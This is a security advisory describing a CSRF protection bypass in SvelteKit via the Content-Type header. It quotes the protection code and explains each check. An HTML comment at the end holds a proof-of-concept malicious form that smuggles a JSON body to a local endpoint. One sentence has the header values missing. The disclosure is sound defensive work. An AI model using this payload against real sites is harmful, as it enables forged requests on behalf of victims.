SvelteKit vulnerable to Cross-Site Request Forgery

Summary

The SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a +server.js file, containing endpoint handlers for different HTTP methods.

SvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to it’s users. The protection is implemented at kit/src/runtime/server/respond.js#L52. While the implementation does a sufficient job in mitigating common CSRF attacks, the protection can be bypassed by simply specifying a different Content-Type header value.

Details

The CSRF protection is implemented using the code shown below.

const forbidden =
  // (1)
  request.method === 'POST' &&
  // (2)
  request.headers.get('origin') !== url.origin &&
  // (3)
  is_form_content_type(request);

if (forbidden) {
  // (4)
  const csrf_error = error(403, `Cross-site ${request.method} form submissions are forbidden`);
  if (request.headers.get('accept') === 'application/json') {
    return json(csrf_error.body, { status: csrf_error.status });
  }
  return text(csrf_error.body.message, { status: csrf_error.status });
}

If the incoming request specifies a POST method (1), the protection will compare the server’s origin with the value of the HTTP Origin header (2). A mismatch between these values signals that a potential attack has been detected. The final check is performed on the request’s Content-Type header (3) whether the value is either or (). If all the previous checks pass, the request will be rejected with an 403 error response (4).

<!-- ### PoC To reproduce this issue, create and run a simple server (by default running on `localhost:3000`) with a POST endpoint handler such as: ```js export async function POST({ request }) { const data = await request.json(); console.log(JSON.stringify(data)); return new Response(String('success')); } ``` Next, save the malicious HTML page: ```html <!DOCTYPE html> <html> <head></head> <body> <h1 id="name"></h1> <form action="http://localhost:3000/api/test" method="POST" enctype="text/plain"> <input type="hidden" name="&#123;&quot;name&quot;&#58;&quot;test" value="&quot;&#44;&quot;age&quot;&#58;123&#125;" /> <input type="submit" value="Submit" /> </form> </body> </html> ``` in a file named `index.html`. Run another web server, using Python’s built in http.server module (`python -m http.server`, by default running on `localhost:8000`), navigate to [http://localhost:8000/index.html](http://localhost:8000/index.html) and click the `Submit` button. Verify that the browser’s URL has changed to `localhost:3000` and that the text `success` is displayed on the screen. Additionally, inspect the console of the SvelteKit web server and verify that the request body (`{"name":"test=","age":123}`) was parsed as valid JSON and printed out. It's worth noting that this attack is possible only for JSON request bodies. Form data sent using `text/plain` will be rejected by the server. -->